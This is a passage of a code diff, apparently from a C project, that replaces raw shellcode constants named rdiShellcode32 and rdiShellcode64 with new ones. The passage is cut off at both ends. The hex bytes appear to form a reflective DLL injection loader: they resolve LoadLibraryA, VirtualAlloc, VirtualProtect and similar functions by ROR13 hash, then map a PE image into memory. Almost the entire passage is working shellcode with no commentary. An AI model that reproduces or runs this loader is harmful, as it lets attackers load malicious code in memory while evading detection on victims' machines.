B\xEE\x76\x7D\x41\xC1\xEB\x10\x45\x8D\x4D\xFF\x44\x89\x5D\x7F\x45\x8B\xDF\x45\x85\xC9\x74\x6F\x4D\x8B\xD0\x41\x0F\x10\x02\x33\xD2\x41\x8B\xCD\x41\x2B\xCB\x69\xF6\xFD\x43\x03\x00\xB8\xFF\x7F\x00\x00\xF7\xF1\x33\xD2\x81\xC6\xC3\x9E\x26\x00\x41\x8D\x0C\x06\x8B\xC6\xC1\xE8\x10\x25\xFF\x7F\x00\x00\xF7\xF1\x41\x03\xC3\x45\x03\xDE\x48\x8D\x0C\x80\x41\x8B\x54\x88\x10\x41\x0F\x10\x0C\x88\x41\x0F\x11\x04\x88\x41\x8B\x42\x10\x41\x89\x44\x88\x10\x41\x0F\x11\x0A\x41\x89\x52\x10\x4D\x8D\x52\x14\x45\x3B\xD9\x72\x9C\xEB\x06\x8B\x45\xB3\x89\x45\x7F\x8B\xB7\x90\x00\x00\x00\x48\x03\xF3\x8B\x46\x0C\x85\xC0\x74\x7B\x8B\x7D\x7F\x8B\xC8\x48\x03\xCB\x41\xFF\xD4\x44\x8B\x3E\x4C\x8B\xE0\x44\x8B\x76\x10\x4C\x03\xFB\x4C\x03\xF3\x49\x8B\x0F\x48\x85\xC9\x74\x2D\x48\x8B\x7D\xBF\x79\x05\x0F\xB7\xD1\xEB\x07\x48\x8D\x51\x02\x48\x03\xD3\x49\x8B\xCC\xFF\xD7\x49\x83\xC7\x08\x49\x89\x06\x49\x83\xC6\x08\x49\x8B\x0F\x48\x85\xC9\x75\xDA\x8B\x7D\x7F\x45\x33\xFF\x44\x39\x7D\xB3\x74\x0F\x41\x83\xFD\x01\x76\x09\x69\xCF\xE8\x03\x00\x00\xFF\x55\xC7\x8B\x46\x20\x48\x83\xC6\x14\x4C\x8B\x65\xB7\x85\xC0\x75\x8C\x48\x8B\x7D\xCF\x4C\x8B\x6D\xBF\x44\x39\xBF\xF4\x00\x00\x00\x74\x68\x44\x8B\xB7\xF0\x00\x00\x00\x49\x83\xC6\x04\x4C\x03\xF3\xEB\x53\x41\x8B\x0E\x48\x03\xCB\x41\xFF\xD4\x41\x8B\x76\x08\x4C\x8B\xE0\x45\x8B\x7E\x0C\x48\x03\xF3\x4C\x03\xFB\xEB\x25\x49\x8B\x0F\x48\x85\xC9\x79\x05\x0F\xB7\xD1\xEB\x07\x48\x8D\x51\x02\x48\x03\xD3\x49\x8B\xCC\x41\xFF\xD5\x48\x89\x06\x48\x83\xC6\x08\x49\x83\xC7\x08\x33\xC0\x48\x39\x06\x75\xD4\x4C\x8B\x65\xB7\x49\x83\xC6\x20\x45\x33\xFF\x45\x39\x3E\x75\xA8\x45\x8B\xF7\x0F\xB7\x47\x14\x41\xBC\x01\x00\x00\x00\x66\x44\x3B\x7F\x06\x0F\x83\xCF\x00\x00\x00\x4C\x8B\x7D\xD7\x48\x8D\x77\x3C\x48\x03\xF0\x45\x33\xC9\x44\x39\x4E\xEC\x0F\x84\xA0\x00\x00\x00\x8B\x0E\x8B\xD1\xC1\xEA\x1E\x8B\xC1\x41\x23\xD4\xC1\xE8\x1D\xC1\xE9\x1F\x41\x23\xC4\x75\x24\x85\xD2\x75\x0E\xF7\xD9\x45\x1B\xC0\x41\x83\xE0\x07\x45\x03\xC4\xEB\x4F\xF7\xD9\xB8\x02\x00\x00\x00\x45\x1B\xC0\x44\x23\xC0\x44\x03\xC0\xEB\x3D\x85\xD2\x75\x20\x85\xC9\x75\x06\x44\x8D\x42\x10\xEB\x2F\x85\xD2\x75\x12\x85\xC9\x74\x08\x41\xB8\x80\x00\x00\x00\xEB\x1F\x44\x8B\x45\xAF\xEB\x1D\x85\xC9\x75\x06\x44\x8D\x41\x20\xEB\x0F\x44\x8B\x45\xAF\x85\xC9\xB8\x40\x00\x00\x00\x44\x0F\x45\xC0\x44\x89\x45\xAF\xF7\x06\x00\x00\x00\x04\x74\x09\x41\x0F\xBA\xE8\x09\x44\x89\x45\xAF\x8B\x4E\xE8\x4C\x8D\x4D\xAF\x8B\x56\xEC\x48\x03\xCB\x41\xFF\xD7\x45\x33\xC9\x0F\xB7\x47\x06\x45\x03\xF4\x48\x83\xC6\x28\x44\x3B\xF0\x0F\x82\x42\xFF\xFF\xFF\x45\x33\xFF\x45\x33\xC0\x33\xD2\x48\x83\xC9\xFF\xFF\x55\xDF\x44\x39\xBF\xD4\x00\x00\x00\x74\x24\x8B\x87\xD0\x00\x00\x00\x48\x8B\x74\x18\x18\xEB\x0F\x45\x33\xC0\x41\x8B\xD4\x48\x8B\xCB\xFF\xD0\x48\x8D\x76\x08\x48\x8B\x06\x48\x85\xC0\x75\xE9\x8B\x47\x28\x4D\x8B\xC4\x48\x03\xC3\x41\x8B\xD4\x48\x8B\xCB\xFF\xD0\x8B\x75\x67\x85\xF6\x0F\x84\x96\x00\x00\x00\x44\x39\xBF\x8C\x00\x00\x00\x0F\x84\x89\x00\x00\x00\x8B\x8F\x88\x00\x00\x00\x48\x03\xCB\x44\x8B\x59\x18\x45\x85\xDB\x74\x77\x44\x39\x79\x14\x74\x71\x44\x8B\x49\x20\x41\x8B\xFF\x8B\x51\x24\x4C\x03\xCB\x48\x03\xD3\x45\x85\xDB\x74\x5C\x45\x8B\x01\x45\x8B\xD7\x4C\x03\xC3\x74\x51\xEB\x10\x0F\xBE\xC0\x41\x03\xC2\x44\x8B\xD0\x41\xC1\xCA\x0D\x4D\x03\xC4\x41\x8A\x00\x84\xC0\x75\xE9\x41\x3B\xF2\x75\x05\x48\x85\xD2\x75\x16\xB8\x02\x00\x00\x00\x41\x03\xFC\x48\x03\xD0\x49\x83\xC1\x04\x41\x3B\xFB\x73\x1A\xEB\xBC\x8B\x49\x1C\x0F\xB7\x12\x48\x03\xCB\x8B\x04\x91\x8B\x55\x77\x48\x03\xC3\x48\x8B\x4D\x6F\xFF\xD0\x48\x8B\xC3\xEB\x02\x33\xC0\x48\x8B\x9C\x24\xD0\x00\x00\x00\x48\x81\xC4\x90\x00\x00\x00\x41\x5F\x41\x5E\x41\x5D\x41\x5C\x5F\x5E\x5D\xC3\xCC\xCC\x48\x89\x5C\x24\x08\x48\x89\x74\x24\x10\x57\x48\x83\xEC\x10\x65\x48\x8B\x04\x25\x60\x00\x00\x00\x8B\xF1\x48\x8B\x50\x18\x4C\x8B\x4A\x10\x4D\x8B\x41\x30\x4D\x85\xC0\x0F\x84\xB4\x00\x00\x00\x41\x0F\x10\x41\x58\x49\x63\x40\x3C\x33\xD2\x4D\x8B\x09\xF3\x0F\x7F\x04\x24\x42\x8B\x9C\x00\x88\x00\x00\x00\x85\xDB\x74\xD4\x48\x8B\x04\x24\x48\xC1\xE8\x10\x44\x0F\xB7\xD0\x45\x85\xD2\x74\x21\x48\x8B\x4C\x24\x08\x45\x8B\xDA\x0F\xBE\x01\xC1\xCA\x0D\x80\x39\x61\x7C\x03\x83\xC2\xE0\x03\xD0\x48\xFF\xC1\x49\x83\xEB\x01\x75\xE7\x4D\x8D\x14\x18\x33\xC9\x41\x8B\x7A\x20\x49\x03\xF8\x41\x39\x4A\x18\x76\x8F\x8B\x1F\x45\x33\xDB\x49\x03\xD8\x48\x8D\x7F\x04\x0F\xBE\x03\x48\xFF\xC3\x41\xC1\xCB\x0D\x44\x03\xD8\x80\x7B\xFF\x00\x75\xED\x41\x8D\x04\x13\x3B\xC6\x74\x0D\xFF\xC1\x41\x3B\x4A\x18\x72\xD1\xE9\x5B\xFF\xFF\xFF\x41\x8B\x42\x24\x03\xC9\x49\x03\xC0\x0F\xB7\x14\x01\x41\x8B\x4A\x1C\x49\x03\xC8\x8B\x04\x91\x49\x03\xC0\xEB\x02\x33\xC0\x48\x8B\x5C\x24\x20\x48\x8B\x74\x24\x28\x48\x83\xC4\x10\x5F\xC3"; - DWORD rdiShellcode32Length = 1879, rdiShellcode64Length = 1997; + LPSTR rdiShellcode32 = "\x81\xEC\x14\x01\x00\x00\x53\x55\x56\x57\x6A\x6B\x58\x6A\x65\x66\x89\x84\x24\xCC\x00\x00\x00\x33\xED\x58\x6A\x72\x59\x6A\x6E\x5B\x6A\x6C\x5A\x6A\x33\x66\x89\x84\x24\xCE\x00\x00\x00\x66\x89\x84\x24\xD4\x00\x00\x00\x58\x6A\x32\x66\x89\x84\x24\xD8\x00\x00\x00\x58\x6A\x2E\x66\x89\x84\x24\xDA\x00\x00\x00\x58\x6A\x64\x66\x89\x84\x24\xDC\x00\x00\x00\x58\x89\xAC\x24\xB0\x00\x00\x00\x89\x6C\x24\x34\x89\xAC\x24\xB8\x00\x00\x00\x89\xAC\x24\xC4\x00\x00\x00\x89\xAC\x24\xB4\x00\x00\x00\x89\xAC\x24\xAC\x00\x00\x00\x89\xAC\x24\xE0\x00\x00\x00\x66\x89\x8C\x24\xCC\x00\x00\x00\x66\x89\x9C\x24\xCE\x00\x00\x00\x66\x89\x94\x24\xD2\x00\x00\x00\x66\x89\x84\x24\xDA\x00\x00\x00\x66\x89\x94\x24\xDC\x00\x00\x00\x66\x89\x94\x24\xDE\x00\x00\x00\xC6\x44\x24\x3C\x53\x88\x54\x24\x3D\x66\xC7\x44\x24\x3E\x65\x65\xC6\x44\x24\x40\x70\x66\xC7\x44\x24\x50\x4C\x6F\xC6\x44\x24\x52\x61\x88\x44\x24\x53\x66\xC7\x44\x24\x54\x4C\x69\xC6\x44\x24\x56\x62\x88\x4C\x24\x57\xC6\x44\x24\x58\x61\x88\x4C\x24\x59\x66\xC7\x44\x24\x5A\x79\x41\x66\xC7\x44\x24\x44\x56\x69\x88\x4C\x24\x46\x66\xC7\x44\x24\x47\x74\x75\xC6\x44\x24\x49\x61\x88\x54\x24\x4A\xC6\x44\x24\x4B\x41\x88\x54\x24\x4C\x88\x54\x24\x4D\x66\xC7\x44\x24\x4E\x6F\x63\x66\xC7\x44\x24\x5C\x56\x69\x88\x4C\x24\x5E\x66\xC7\x44\x24\x5F\x74\x75\xC6\x44\x24\x61\x61\x88\x54\x24\x62\xC6\x44\x24\x63\x50\x88\x4C\x24\x64\xC7\x44\x24\x65\x6F\x74\x65\x63\xC6\x44\x24\x69\x74\xC6\x84\x24\x94\x00\x00\x00\x46\x88\x94\x24\x95\x00\x00\x00\xC7\x84\x24\x96\x00\x00\x00\x75\x73\x68\x49\x88\x9C\x24\x9A\x00\x00\x00\x66\xC7\x84\x24\x9B\x00\x00\x00\x73\x74\x88\x8C\x24\x9D\x00\x00\x00\xC7\x84\x24\x9E\x00\x00\x00\x75\x63\x74\x69\xC6\x84\x24\xA2\x00\x00\x00\x6F\x6A\x65\x59\x88\x8C\x24\xA8\x00\x00\x00\x88\x4C\x24\x6D\x88\x4C\x24\x74\x88\x4C\x24\x79\x88\x8C\x24\x92\x00\x00\x00\xB9\x13\x9C\xBF\xBD\x88\x9C\x24\xA3\x00\x00\x00\xC7\x84\x24\xA4\x00\x00\x00\x43\x61\x63\x68\xC6\x44\x24\x6C\x47\xC7\x44\x24\x6E\x74\x4E\x61\x74\x66\xC7\x44\x24\x72\x69\x76\xC7\x44\x24\x75\x53\x79\x73\x74\x66\xC7\x44\x24\x7A\x6D\x49\x88\x5C\x24\x7C\x66\xC7\x44\x24\x7D\x66\x6F\x66\xC7\x84\x24\x80\x00\x00\x00\x52\x74\x88\x94\x24\x82\x00\x00\x00\xC6\x84\x24\x83\x00\x00\x00\x41\x88\x84\x24\x84\x00\x00\x00\x88\x84\x24\x85\x00\x00\x00\x66\xC7\x84\x24\x86\x00\x00\x00\x46\x75\x88\x9C\x24\x88\x00\x00\x00\xC7\x84\x24\x89\x00\x00\x00\x63\x74\x69\x6F\x88\x9C\x24\x8D\x00\x00\x00\x66\xC7\x84\x24\x8E\x00\x00\x00\x54\x61\xC6\x84\x24\x90\x00\x00\x00\x62\x88\x94\x24\x91\x00\x00\x00\xE8\x77\x08\x00\x00\xB9\xB5\x41\xD9\x5E\x8B\xF0\xE8\x6B\x08\x00\x00\x8B\xD8\x8D\x84\x24\xC8\x00\x00\x00\x6A\x18\x89\x84\x24\xEC\x00\x00\x00\x58\x66\x89\x84\x24\xE6\x00\x00\x00\x66\x89\x84\x24\xE4\x00\x00\x00\x8D\x44\x24\x1C\x50\x8D\x84\x24\xE8\x00\x00\x00\x89\x5C\x24\x34\x50\x55\x55\xFF\xD6\x6A\x0C\x5F\x8D\x44\x24\x44\x66\x89\x7C\x24\x14\x89\x44\x24\x18\x8D\x44\x24\x34\x50\x55\x8D\x44\x24\x1C\x66\x89\x7C\x24\x1E\x50\xFF\x74\x24\x28\xFF\xD3\x6A\x0E\x58\x66\x89\x44\x24\x14\x66\x89\x44\x24\x16\x8D\x44\x24\x5C\x89\x44\x24\x18\x8D\x84\x24\xB4\x00\x00\x00\x50\x55\x8D\x44\x24\x1C\x50\xFF\x74\x24\x28\xFF\xD3\x6A\x15\x58\x66\x89\x44\x24\x14\x66\x89\x44\x24\x16\x8D\x84\x24\x94\x00\x00\x00\x89\x44\x24\x18\x8D\x84\x24\xB8\x00\x00\x00\x50\x55\x8D\x44\x24\x1C\x50\xFF\x74\x24\x28\xFF\xD3\x6A\x13\x5E\x8D\x44\x24\x6C\x66\x89\x74\x24\x14\x89\x44\x24\x18\x8D\x84\x24\xC4\x00\x00\x00\x50\x55\x8D\x44\x24\x1C\x66\x89\x74\x24\x1E\x50\xFF\x74\x24\x28\xFF\xD3\x6A\x05\x58\x66\x89\x44\x24\x14\x66\x89\x44\x24\x16\x8D\x44\x24\x3C\x89\x44\x24\x18\x8D\x84\x24\xAC\x00\x00\x00\x50\x55\x8D\x44\x24\x1C\x50\xFF\x74\x24\x28\xFF\xD3\x8D\x84\x24\x80\x00\x00\x00\x66\x89\x74\x24\x14\x89\x44\x24\x18\x8D\x84\x24\xE0\x00\x00\x00\x50\x55\x8D\x44\x24\x1C\x66\x89\x74\x24\x1E\x50\xFF\x74\x24\x28\xFF\xD3\x8D\x44\x24\x50\x66\x89\x7C\x24\x14\x89\x44\x24\x18\x8D\x84\x24\xB0\x00\x00\x00\x50\x55\x8D\x44\x24\x1C\x66\x89\x7C\x24\x1E\x50\xFF\x74\x24\x28\xFF\xD3\x39\x6C\x24\x34\x0F\x84\x00\x07\x00\x00\x39\xAC\x24\xB4\x00\x00\x00\x0F\x84\xF3\x06\x00\x00\x39\xAC\x24\xAC\x00\x00\x00\x0F\x84\xE6\x06\x00\x00\x39\xAC\x24\xB8\x00\x00\x00\x0F\x84\xD9\x06\x00\x00\x8B\xAC\x24\xC4\x00\x00\x00\x85\xED\x0F\x84\xCA\x06\x00\x00\x8B\xBC\x24\x28\x01\x00\x00\x8B\x77\x3C\x03\xF7\x81\x3E\x50\x45\x00\x00\x0F\x85\xB2\x06\x00\x00\xB8\x4C\x01\x00\x00\x66\x39\x46\x04\x0F\x85\xA3\x06\x00\x00\xF6\x46\x38\x01\x0F\x85\x99\x06\x00\x00\x0F\xB7\x4E\x14\x33\xDB\x0F\xB7\x56\x06\x83\xC1\x24\x85\xD2\x74\x1E\x03\xCE\x83\x79\x04\x00\x8B\x46\x38\x0F\x45\x41\x04\x03\x01\x8D\x49\x28\x3B\xC3\x0F\x46\xC3\x8B\xD8\x83\xEA\x01\x75\xE4\x8D\x84\x24\x00\x01\x00\x00\x50\xFF\xD5\x8B\x8C\x24\x04\x01\x00\x00\x8D\x51\xFF\x8D\x69\xFF\xF7\xD2\x03\x6E\x50\x8D\x41\xFF\x03\xC3\x23\xEA\x23\xC2\x3B\xE8\x0F\x85\x3D\x06\x00\x00\x6A\x04\x68\x00\x30\x00\x00\x55\xFF\x76\x34\xFF\x54\x24\x44\x8B\xD8\x89\x5C\x24\x2C\x85\xDB\x75\x13\x6A\x04\x68\x00\x30\x00\x00\x55\x50\xFF\x54\x24\x44\x8B\xD8\x89\x44\x24\x2C\xF6\x84\x24\x38\x01\x00\x00\x01\x74\x23\x8B\x47\x3C\x89\x43\x3C\x8B\x4F\x3C\x3B\x4E\x54\x73\x2E\x8B\xEF\x8D\x14\x0B\x2B\xEB\x8A\x04\x2A\x41\x88\x02\x42\x3B\x4E\x54\x72\xF4\xEB\x19\x33\xED\x39\x6E\x54\x76\x12\x8B\xD7\x8B\xCB\x2B\xD3\x8A\x04\x11\x45\x88\x01\x41\x3B\x6E\x54\x72\xF4\x8B\x6B\x3C\x33\xC9\x03\xEB\x89\x4C\x24\x10\x33\xC0\x89\x6C\x24\x28\x0F\xB7\x55\x14\x83\xC2\x28\x66\x3B\x45\x06\x73\x31\x03\xD5\x33\xF6\x39\x32\x76\x19\x8B\x42\x04\x8B\x4A\xFC\x03\xC6\x03\xCB\x8A\x04\x38\x88\x04\x31\x46\x3B\x32\x72\xEB\x8B\x4C\x24\x10\x0F\xB7\x45\x06\x41\x83\xC2\x28\x89\x4C\x24\x10\x3B\xC8\x72\xD1\x8B\xC3\xC7\x84\x24\xBC\x00\x00\x00\x01\x00\x00\x00\x2B\x45\x34\x89\x44\x24\x24\x0F\x84\xC4\x00\x00\x00\x83\xBD\xA4\x00\x00\x00\x00\x0F\x84\xB7\x00\x00\x00\x8B\xB5\xA0\x00\x00\x00\x03\xF3\x83\x3E\x00\x0F\x84\xA6\x00\x00\x00\x6A\x02\x8B\xF8\x5D\x8D\x56\x08\xEB\x75\x0F\xB7\x02\x89\x44\x24\x10\x0F\xB7\xC8\x66\xC1\xE8\x0C\x66\x83\xF8\x0A\x75\x28\x8B\x16\x8B\x4C\x24\x10\x81\xE1\xFF\x0F\x00\x00\x89\x4C\x24\x10\x8D\x04\x1A\x8B\x0C\x08\x8D\x04\x1A\x8B\x54\x24\x10\x03\xCF\x89\x0C\x10\x8B\x54\x24\x24\xEB\x37\x66\x83\xF8\x03\x75\x0D\x81\xE1\xFF\x0F\x00\x00\x03\x0E\x01\x3C\x19\xEB\x24\x66\x3B\x84\x24\xBC\x00\x00\x00\x75\x07\x8B\xC7\xC1\xE8\x10\xEB\x08\x66\x3B\xC5\x75\x0E\x0F\xB7\xC7\x81\xE1\xFF\x0F\x00\x00\x03\x0E\x01\x04\x19\x03\xD5\x8B\x46\x04\x03\xC6\x89\x54\x24\x24\x3B\xD0\x0F\x85\x7A\xFF\xFF\xFF\x83\x3A\x00\x8B\xF2\x0F\x85\x6A\xFF\xFF\xFF\x8B\x6C\x24\x28\x8B\xBC\x24\x28\x01\x00\x00\x83\xBD\x84\x00\x00\x00\x00\x0F\x84\xD7\x01\x00\x00\x8B\xB5\x80\x00\x00\x00\x33\xC0\x89\x44\x24\x10\x8D\x0C\x1E\x89\x4C\x24\x24\x83\xC1\x0C\x39\x01\x74\x0D\x8D\x49\x14\x40\x83\x39\x00\x75\xF7\x89\x44\x24\x10\x8B\x8C\x24\x38\x01\x00\x00\x8B\xD1\x83\xE2\x04\x89\x54\x24\x38\x8B\xD6\x0F\x84\xC3\x00\x00\x00\x83\xF8\x01\x0F\x86\xBA\x00\x00\x00\x83\xA4\x24\xBC\x00\x00\x00\x00\xC1\xE9\x10\x89\x8C\x24\x38\x01\x00\x00\x8D\x48\xFF\x89\x8C\x24\xC0\x00\x00\x00\x85\xC9\x0F\x84\xA1\x00\x00\x00\x8B\x74\x24\x24\x8B\xDE\x8B\xAC\x24\xBC\x00\x00\x00\x8B\xC8\x69\xFF\xFD\x43\x03\x00\x2B\xCD\x33\xD2\xB8\xFF\x7F\x00\x00\xF7\xF1\x81\xC7\xC3\x9E\x26\x00\x33\xD2\x89\xBC\x24\x28\x01\x00\x00\x6A\x05\x8D\x48\x01\x8B\xC7\xC1\xE8\x10\x8D\xBC\x24\xF0\x00\x00\x00\x25\xFF\x7F\x00\x00\xF7\xF1\x59\x03\xC5\x6B\xC0\x14\x6A\x05\x03\xC6\x45\x8B\xF0\xF3\xA5\x59\x8B\xF3\x8B\xF8\x8B\x44\x24\x10\xF3\xA5\x6A\x05\x8B\xFB\x8D\xB4\x24\xF0\x00\x00\x00\x59\xF3\xA5\x8B\xBC\x24\x28\x01\x00\x00\x83\xC3\x14\x8B\x74\x24\x24\x3B\xAC\x24\xC0\x00\x00\x00\x72\x87\x8B\x6C\x24\x28\x8B\x5C\x24\x2C\x8B\x95\x80\x00\x00\x00\xEB\x0B\x8B\x44\x24\x38\x89\x84\x24\x38\x01\x00\x00\x8D\x3C\x1A\x8B\x47\x0C\x89\x7C\x24\x2C\x85\xC0\x0F\x84\xB8\x00\x00\x00\x03\xC3\x50\xFF\x94\x24\xB4\x00\x00\x00\x8B\xD0\x89\x54\x24\x1C\x8B\x37\x8B\x6F\x10\x03\xF3\x03\xEB\x8B\x0E\x85\xC9\x74\x60\x8B\x7C\x24\x30\x85\xC9\x79\x09\x0F\xB7\x06\x55\x50\x6A\x00\xEB\x36\x83\xC1\x02\x33\xC0\x03\xCB\x89\x8C\x24\xC0\x00\x00\x00\x38\x01\x74\x0E\x40\x41\x80\x39\x00\x75\xF9\x8B\x8C\x24\xC0\x00\x00\x00\x55\x66\x89\x44\x24\x18\x66\x89\x44\x24\x1A\x8D\x44\x24\x18\x6A\x00\x89\x4C\x24\x20\x50\x52\xFF\xD7\x83\xC6\x04\x83\xC5\x04\x8B\x0E\x85\xC9\x74\x06\x8B\x54\x24\x1C\xEB\xA8\x8B\x7C\x24\x2C\x83\x7C\x24\x38\x00\x74\x1C\x33\xC0\x40\x39\x44\x24\x10\x76\x13\x69\x84\x24\x38\x01\x00\x00\xE8\x03\x00\x00\x50\xFF\x94\x24\xB0\x00\x00\x00\x8B\x47\x20\x83\xC7\x14\x89\x7C\x24\x2C\x85\xC0\x0F\x85\x4C\xFF\xFF\xFF\x8B\x6C\x24\x28\x83\xBD\xE4\x00\x00\x00\x00\x0F\x84\xAD\x00\x00\x00\x8B\x85\xE0\x00\x00\x00\x83\xC0\x04\x03\xC3\x89\x44\x24\x10\x8B\x00\x85\xC0\x0F\x84\x94\x00\x00\x00\x8B\x6C\x24\x10\x03\xC3\x50\xFF\x94\x24\xB4\x00\x00\x00\x8B\xC8\x89\x4C\x24\x1C\x8B\x75\x08\x8B\x7D\x0C\x03\xF3\x03\xFB\x83\x3E\x00\x74\x5B\x8B\x6C\x24\x30\x8B\x17\x85\xD2\x79\x09\x56\x0F\xB7\xC2\x50\x6A\x00\xEB\x30\x83\xC2\x02\x33\xC0\x03\xD3\x89\x54\x24\x38\x38\x02\x74\x0B\x40\x42\x80\x3A\x00\x75\xF9\x8B\x54\x24\x38\x56\x66\x89\x44\x24\x18\x66\x89\x44\x24\x1A\x8D\x44\x24\x18\x6A\x00\x89\x54\x24\x20\x50\x51\xFF\xD5\x83\xC6\x04\x83\xC7\x04\x83\x3E\x00\x74\x06\x8B\x4C\x24\x1C\xEB\xAD\x8B\x6C\x24\x10\x83\xC5\x20\x89\x6C\x24\x10\x8B\x45\x00\x85\xC0\x0F\x85\x74\xFF\xFF\xFF\x8B\x6C\x24\x28\x0F\xB7\x75\x14\x33\xC0\x83\xC6\x28\x33\xFF\x66\x3B\x45\x06\x0F\x83\xE5\x00\x00\x00\x03\xF5\xBA\x00\x00\x00\x40\x83\x3E\x00\x0F\x84\xC5\x00\x00\x00\x8B\x4E\x14\x8B\xC1\x25\x00\x00\x00\x20\x75\x0B\x85\xCA\x75\x07\x85\xC9\x78\x03\x40\xEB\x62\x85\xC0\x75\x30\x85\xCA\x75\x08\x85\xC9\x79\x04\x6A\x08\xEB\x51\x85\xC0\x75\x20\x85\xCA\x74\x08\x85\xC9\x78\x04\x6A\x02\xEB\x41\x85\xC0\x75\x10\x85\xCA\x74\x08\x85\xC9\x79\x04\x6A\x04\xEB\x31\x85\xC0\x74\x4A\x85\xCA\x75\x08\x85\xC9\x78\x04\x6A\x10\xEB\x21\x85\xC0\x74\x3A\x85\xCA\x75\x0B\x85\xC9\x79\x07\xB8\x80\x00\x00\x00\xEB\x0F\x85\xC0\x74\x27\x85\xCA\x74\x0D\x85\xC9\x78\x09\x6A\x20\x58\x89\x44\x24\x20\xEB\x1A\x85\xC0\x74\x12\x85\xCA\x74\x0E\x8B\x44\x24\x20\x85\xC9\x6A\x40\x5A\x0F\x48\xC2\xEB\xE4\x8B\x44\x24\x20\xF7\x46\x14\x00\x00\x00\x04\x74\x09\x0D\x00\x02\x00\x00\x89\x44\x24\x20\x8D\x4C\x24\x20\x51\x50\x8B\x46\xFC\xFF\x36\x03\xC3\x50\xFF\x94\x24\xC4\x00\x00\x00\xBA\x00\x00\x00\x40\x0F\xB7\x45\x06\x47\x83\xC6\x28\x3B\xF8\x0F\x82\x22\xFF\xFF\xFF\x6A\x00\x6A\x00\x6A\xFF\xFF\x94\x24\xC4\x00\x00\x00\x83\xBD\xC4\x00\x00\x00\x00\x74\x26\x8B\x85\xC0\x00\x00\x00\x8B\x74\x18\x0C\x8B\x06\x85\xC0\x74\x16\x33\xED\x45\x6A\x00\x55\x53\xFF\xD0\x8D\x76\x04\x8B\x06\x85\xC0\x75\xF1\x8B\x6C\x24\x28\x33\xC0\x40\x50\x50\x8B\x45\x28\x53\x03\xC3\xFF\xD0\x83\xBC\x24\x2C\x01\x00\x00\x00\x0F\x84\xAB\x00\x00\x00\x83\x7D\x7C\x00\x0F\x84\xA1\x00\x00\x00\x8B\x55\x78\x03\xD3\x8B\x6A\x18\x85\xED\x0F\x84\x91\x00\x00\x00\x83\x7A\x14\x00\x0F\x84\x87\x00\x00\x00\x8B\x7A\x20\x8B\x4A\x24\x03\xFB\x83\x64\x24\x30\x00\x03\xCB\x85\xED\x74\x74\x8B\x37\xC7\x44\x24\x10\x00\x00\x00\x00\x03\xF3\x74\x66\x8A\x06\x84\xC0\x74\x1A\x8B\x6C\x24\x10\x0F\xBE\xC0\x03\xE8\xC1\xCD\x0D\x46\x8A\x06\x84\xC0\x75\xF1\x89\x6C\x24\x10\x8B\x6A\x18\x8B\x84\x24\x2C\x01\x00\x00\x3B\x44\x24\x10\x75\x04\x85\xC9\x75\x15\x8B\x44\x24\x30\x83\xC7\x04\x40\x83\xC1\x02\x89\x44\x24\x30\x3B\xC5\x72\xAE\xEB\x20\x0F\xB7\x09\x8B\x42\x1C\xFF\xB4\x24\x34\x01\x00\x00\xFF\xB4\x24\x34\x01\x00\x00\x8D\x04\x88\x8B\x04\x18\x03\xC3\xFF\xD0\x59\x59\x8B\xC3\xEB\x02\x33\xC0\x5F\x5E\x5D\x5B\x81\xC4\x14\x01\x00\x00\xC3\x83\xEC\x14\x64\xA1\x30\x00\x00\x00\x53\x55\x56\x8B\x40\x0C\x57\x89\x4C\x24\x1C\x8B\x78\x0C\xE9\xA5\x00\x00\x00\x8B\x47\x30\x33\xF6\x8B\x5F\x2C\x8B\x3F\x89\x44\x24\x10\x8B\x42\x3C\x89\x7C\x24\x14\x8B\x6C\x10\x78\x89\x6C\x24\x18\x85\xED\x0F\x84\x80\x00\x00\x00\xC1\xEB\x10\x33\xC9\x85\xDB\x74\x2F\x8B\x7C\x24\x10\x0F\xBE\x2C\x0F\xC1\xCE\x0D\x80\x3C\x0F\x61\x89\x6C\x24\x10\x7C\x09\x8B\xC5\x83\xC0\xE0\x03\xF0\xEB\x04\x03\x74\x24\x10\x41\x3B\xCB\x72\xDD\x8B\x7C\x24\x14\x8B\x6C\x24\x18\x8B\x44\x2A\x20\x33\xDB\x8B\x4C\x2A\x18\x03\xC2\x89\x4C\x24\x10\x85\xC9\x74\x34\x8B\x38\x33\xED\x03\xFA\x83\xC0\x04\x89\x44\x24\x20\x8A\x0F\xC1\xCD\x0D\x0F\xBE\xC1\x03\xE8\x47\x84\xC9\x75\xF1\x8B\x7C\x24\x14\x8D\x04\x2E\x3B\x44\x24\x1C\x74\x20\x8B\x44\x24\x20\x43\x3B\x5C\x24\x10\x72\xCC\x8B\x57\x18\x85\xD2\x0F\x85\x50\xFF\xFF\xFF\x33\xC0\x5F\x5E\x5D\x5B\x83\xC4\x14\xC3\x8B\x74\x24\x18\x8B\x44\x16\x24\x8D\x04\x58\x0F\xB7\x0C\x10\x8B\x44\x16\x1C\x8D\x04\x88\x8B\x04\x10\x03\xC2\xEB\xDB"; + LPSTR rdiShellcode64 = "\x48\x8B\xC4\x48\x89\x58\x08\x44\x89\x48\x20\x4C\x89\x40\x18\x89\x50\x10\x55\x56\x57\x41\x54\x41\x55\x41\x56\x41\x57\x48\x8D\x6C\x24\x90\x48\x81\xEC\x70\x01\x00\x00\x45\x33\xFF\xC7\x45\xD8\x6B\x00\x65\x00\x48\x8B\xF1\x4C\x89\x7D\xF8\xB9\x13\x9C\xBF\xBD\x4C\x89\x7D\xC8\x4C\x89\x7D\x08\x45\x8D\x4F\x65\x4C\x89\x7D\x10\x44\x88\x4D\xBC\x44\x88\x4D\xA2\x4C\x89\x7D\x00\x4C\x89\x7D\xF0\x4C\x89\x7D\x18\x44\x89\x7D\x24\x44\x89\x7C\x24\x2C\xC7\x45\xDC\x72\x00\x6E\x00\xC7\x45\xE0\x65\x00\x6C\x00\xC7\x45\xE4\x33\x00\x32\x00\xC7\x45\xE8\x2E\x00\x64\x00\xC7\x45\xEC\x6C\x00\x6C\x00\xC7\x44\x24\x40\x53\x6C\x65\x65\xC6\x44\x24\x44\x70\xC7\x44\x24\x58\x4C\x6F\x61\x64\xC7\x44\x24\x5C\x4C\x69\x62\x72\xC7\x44\x24\x60\x61\x72\x79\x41\xC7\x44\x24\x48\x56\x69\x72\x74\xC7\x44\x24\x4C\x75\x61\x6C\x41\xC7\x44\x24\x50\x6C\x6C\x6F\x63\xC7\x44\x24\x68\x56\x69\x72\x74\xC7\x44\x24\x6C\x75\x61\x6C\x50\xC7\x44\x24\x70\x72\x6F\x74\x65\x66\xC7\x44\x24\x74\x63\x74\xC7\x45\xA8\x46\x6C\x75\x73\xC7\x45\xAC\x68\x49\x6E\x73\xC7\x45\xB0\x74\x72